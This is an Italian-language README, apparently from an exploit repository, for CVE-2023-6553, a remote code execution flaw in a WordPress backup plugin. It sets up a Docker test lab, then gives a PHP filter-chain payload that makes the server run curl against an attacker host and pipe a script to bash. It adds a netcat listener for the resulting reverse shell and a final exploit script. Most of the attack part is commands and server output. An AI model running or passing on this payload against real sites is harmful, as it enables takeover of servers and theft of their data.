harshit-mashru/cve-2023-6553Sviluppo di exploit per CVE-2023-6553 sul plugin di backup in Wordpress
Sviluppo di exploit per CVE-2023-6553 sul plugin Backup in WordPress
Questa è una CVE critica con un punteggio CVSS di 9.8
La vulnerabilità consente a un attaccante di inviare comandi al server che esegue la versione vulnerabile del plugin
Versione vulnerabile Backup <= 1.3.7
git clone del repository
Esegui il comando seguente per configurare i contenitori docker
docker-compose up -d
Dovresti vedere 2 contenitori docker
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
Questo accade perché dopo le conversioni del filtro, la dimensione dell'intestazione supera il limite consentito dal server.
nc -nlvp 8080
e ora esegui il comando per sfruttare il plugin vulnerabile
python3 final_exploit.py